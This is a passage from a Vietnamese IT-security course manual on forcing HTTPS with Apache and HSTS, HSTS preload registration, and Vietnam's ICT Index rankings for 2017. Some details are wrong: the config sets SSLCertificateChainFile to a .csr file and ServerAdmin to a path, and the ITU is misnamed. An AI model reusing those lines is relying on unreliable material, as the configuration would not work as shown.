 # line 100: change to the one got in [1]
 SSLCertificateFile /etc/pki/tls/certs/cysecure.com.crt
 # line 107: change to the one got in [1]
 SSLCertificateKeyFile /etc/pki/tls/certs/cysecure.com.key
 # line 116: change to the one got in [1]
 SSLCertificateChainFile /etc/pki/tls/certs/cysecure.com.csr
o Thêm các dòng sau vào httpd.conf
 Vi /etc/httpd/conf/httpd.conf
#Move http to https$
<VirtualHost *:80>$
<Directory /var/www/html>$
AllowOverride All$
</Directory>$
DocumentRoot /var/www/html$
ServerName cysecure.com$
ServerAdmin cysecure.com/administrator$$
ServerPath cysecure.com/$$
ServerAlias www.cysecure.com$
</VirtualHost>$
$
<VirtualHost *:443>$
SSLEngine on$
SSLCertificateFile /etc/pki/tls/certs/cysecure.com.crt$
SSLCertificateKeyFile /etc/pki/tls/certs/cysecure.com.key$
<Directory /var/www/html>$
AllowOverride All$
</Directory>$
DocumentRoot /var/www/html$
ServerName cysecure.com$
ServerAdmin cysecure.com/administrator$
ServerPath cysecure.com/$
ServerAlias www.cysecure.com$
# HSTS config$
# Guarantee HTTPS for 1 Year including Sub Domains $
Header always set Strict-Transport-Security "max-
age=31536000; includeSubDomains"$
</VirtualHost>$
o Restart httpd: service httpd restart
o Ta dùng browser truy cập vào cysecure.com

121
o Nếu chúng ta thử đi vào folder bất kì ví dụ như thư mục administrator

o Trình duyệt sẽ luôn truy cập với SSL bất kể đi vào đường dẫn URL nào
o Dùng Wireshark bắt gói tin sẽ thấy các gói tin chủ yếu sử dụng port 443 là
https với giao thức TLSv1.2

122
Note: Để kiểm tra lại HSTS đã config, chúng ta truy cập vào và domain đã
config (lưu ý domain phải được đăng ký bởi nhà cung cấp), kết quả như bên
dưới là OK

d. Đăng ký Website vào HSTS Preload List


HSTS Preload list là danh sách các website được chứng nhận bảo mật HSTS và
được lưu cứng vào danh sách preload list trên các trình duyệt. Preload list sẽ đảm bảo
website của chúng ta buộc người dùng chuyển đến trang bảo mật https ngay lần đầu tiên họ
truy cập vào. Vì vậy chúng ta nên cân nhắc khi đăng ký preload list cho website, vì nó yêu
cầu tất cả subdomain đều bật HSTS trong một thời gian dài, và nếu chẳng may 1 trong số

123
đó lỗi trang https, thì sẽ rất mất nhiều thời gian (hàng tháng trời) để xóa website khỏi
preload list.

Các yêu cầu để có thể đăng ký website vào HSTS Preload list:
- Có một chứng chỉ bảo mật
- Chuyển hướng HTTP tới HTTPS
- Tất cả subdomain hỗ trợ HTTPS, bao gồm cả www.
- Thời gian hết hạn (max-age) tối thiểu trong header HSTS là 18 tuần (10886400
giây)
- Phải có chỉ dẫn includeSubdomains và preload

Cuối cùng, đợi kết quả chấp thuận sau khoảng vài tuần, sau đó, đợi vài tháng đến
khi có bản cập nhật mới của Chrome, Firefox, Edge, domain của chúng ta sẽ nằm
trong danh sách preload list của Google.
- Đăng ký website vào HSTS Preload List tại trang https://hstspreload.org/
- Hoặc xóa website khỏi HSTS Preload List tại trang:
https://hstspreload.org/removal/

124
Phần 5: ICT Index
1. Giới thiệu ICT index, hiểu rõ các chỉ mục và vấn đề tối ưu chỉ số.
2. Nội dung:
 Ứng dụng CNTT (thảo luận về vấn đề phát triển ứng dụng CNTT phục vụ
công việc – số hóa quản lý thủ tục hành chánh,…)
 Nhân lực CNTT (tham gia các lớp tập huấn, đào tạo để phát triển nhân lực
chất lượng cao)
 Phát triển hạ tầng CNTT

3. Tổng quan: Trình bày các hạng mục nhằm cải thiện, nâng cao chỉ số ICT
index cho đơn vị

125
1. Giới thiệu
a. ICT là gì? :
- ICT là cụm từ thường dùng như từ đồng nghĩa rộng hơn cho IT, nhưng thường
là một thuật ngữ chung để nhấn mạnh vai trò của truyền thông hợp nhất và sự
kết hợp của viễn thông (đường dây điện thoại và tín hiệu không dây), hệ thống
quản lý tòa nhà thông minh và hệ thống nghe-nhìn trong công nghệ thông tin
hiện đại.

- Trong lĩnh vực CNTT, ICT là từ viết tắt của Information & Communication
Technologies có nghĩa là Công nghệ thông tin và Truyền thông.

- ICT bao gồm tất cả các phương tiện kỹ thuật được sử dụng để xử lý thông
tin và trợ giúp liên lạc, bao gồm phần cứng và mạng máy tính, liên lạc trung
gian cũng như là các phần mềm cần thiết.

- ICT bao gồm IT cũng như là điện thoại, phương tiện truyền thông, tất cả các
loại xử lý âm thanh và video, điều khiển dựa trên truyền tải và mạng và các chức
năng giám sát.
=> Từ đó, ta có thể hiểu đơn giản: ICT là sự kết hợp của công nghệ thông tin và công
nghệ truyền thông để tạo nên sự kết nối và chia sẻ thông tin với nhiều hình thức
khác nhau.

126
b. ICT Index là gì?
Theo Liên minh bưu chính quốc tế (ITU): ICT Index là thước đo mức độ phát triển
về Công Nghệ Thông Tin và Truyền Thông
Theo Đại học Havard (Mỹ): ICT Index là thước đo mức độ sẵn sàng cho phát triển
và ứng dụng Công Nghệ Thông Tin và Truyền Thông.
Ở Việt Nam có các chỉ số ICT theo các cấp độ sau:
1. ICT Index của Tỉnh - Thành: Chỉ số về độ sẵn sàng cho ứng dụng và phát triển
CNTT-TT của Tỉnh - Thành. (Bao gồm 2 nhóm chỉ số: hạ tầng và ứng dụng)
2. ICT Index của Bộ - Ngành: Chỉ số về độ sẵn sàng cho ứng dụng và phát triển
CNTT-TT của Bộ-Ngành. (Bao gồm 2 nhóm chỉ số: hạ tầng và ứng dụng)
3. ICT Index của Doanh nghiệp: Chỉ số về năng lực sản xuất, kinh doanh trong lĩnh
vực CNTT-TT của Doanh nghiệp. (Bao gồm 2 nhóm chỉ số: kết quả sản xuất kinh doanh và
năng lực cạnh tranh)

2. Nội dung
1.Ứng dụng CNTT (thảo luận về vấn đề phát triển ứng dụng CNTT phục vụ công việc
– số hóa quản lý thủ tục hành chánh,…)

o Sử dụng thư điện tử trong công việc;


o Triển khai các ứng dụng cơ bản;
o Xây dựng các CSDL chuyên ngành;
o Sử dụng văn bản điện tử;
o Ứng dụng phần mềm nguồn mở.

2.Nhân lực CNTT (tham gia các lớp tập huấn, đào tạo để phát triển nhân lực chất
lượng cao)

o Hạ tầng nhân lực xã hội:


 Tỷ lệ người lớn biết đọc, biết viết.
 Tỷ lệ học sinh trong độ tuổi đi học đến trường.
 Tỷ lệ các trường phổ thông có dạy tin học.
 Tỷ lệ trường đại học, cao đẳng có đào tạo chuyên ngành CNTT.
o Hạ tầng nhân lực các cơ quan nhà nước:
 Tỷ lệ cán bộ chuyên trách CNTT;
 Tỷ lệ cán bộ chuyên trách có trình độ đại học trở lên về CNTT.
 Tỷ lệ cán bộ chuyên trách về an toàn thông tin.

127
 Tỷ lệ công chức, viên chức được tập huấn về phần mềm nguồn mở
(PMNM)
 Tỷ lệ công chức, viên chức trong các CQNN được tập huấn về ATTT.

3.Phát triển hạ tầng CNTT (số liệu năm 2017)

o Hạ tầng kỹ thuật xã hội: gồm 08 chỉ tiêu thành phần.


 Tỷ lệ điện thoại cố định/100 dân;
 Tỷ lệ điện thoại di động/100 dân;
 Tỷ lệ thuê bao Internet/100 dân;
 Tỷ lệ thuê bao băng rộng cố định/100 dân;
 Tỷ lệ thuê bao băng rộng không dây/100 dân;
 Tỷ lệ hộ gia đình có máy tính;
 Tỷ lệ hộ gia đình có kết nối Internet băng rộng;
 Tỷ lệ doanh nghiệp có kết nối Internet băng rộng.

o Hạ tầng kỹ thuật của các cơ quan nhà nước (CQNN): gồm 04 chỉ tiêu thành
phần:
 Tỷ lệ máy tính/CBCCVC trong các CQNN của tỉnh;
 Tỷ lệ băng thông/CBCCVC trong các CQNN của tỉnh;
 Tỷ lệ CQNN của tỉnh có kết nối WAN của tỉnh hoặc mạng chuyên
dùng của Chính phủ;
 Triển khai các giải pháp an toàn thông tin và an toàn dữ liệu trong các
CQNN của tỉnh

3.Ví dụ về Việt Nam ICT Index 2017:


Thứ hạng mức độ sẵn sàng cho phát triển và ứng dụng CNTT ở Việt Nam trong các
tỉnh, thành phốđược thực hiện bởi Hội Tin học Việt Nam cùng Bộ Thông tin và
Truyền thông.
- Hạng 1 - Đà Nẳng, ICT Index: 0,9351
- Hạng 2- Tp Hồ Chí Minh, ICT Index: 0,6920
- Hạng 3 - Hà Nội, ICT Index: 0,6688
Thứ hạng mức độ sẵn sàng cho phát triển và ứng dụng CNTT ở Việt Nam của các
bộ, cơ quan ngang bộ
- Hạng 1 – bộ tài chính, ICT Index: 0,8355
- Hạng 2 – Bảo hiểm xã hội việt nam, ICT Index: 0,7907
- Hạng 3 – Bộ giáo dục và đào tạo: 0,6750
Note: Các thứ hạng được tính dựa vào Chỉ số "Hạ tầng kỹ thuật CNTT", Chỉ số "Hạ
tầng nhân lực CNTT" và Chỉ số "Ứng dụng CNTT"

128
References:
- https://nopviet.com/threads/hsts-la-gi-preload-list-la-gi-huong-dan-cau-hinh-hsts-
cho-website-tren-apache.682/
- https://www.server-world.info/en/
- https://thuvienphapluat.vn/van-ban/Cong-nghe-thong-tin/Ke-hoach-332-KH-
UBND-2017-cai-thien-chi-so-san-sang-cho-phat-trien-cong-nghe-thong-tin-Lao-
Cai-376382.aspx
- http://www.idz.vn/2016/10/modesecurity-gioi-thieu-modsecurity.html

129

Anda mungkin juga menyukai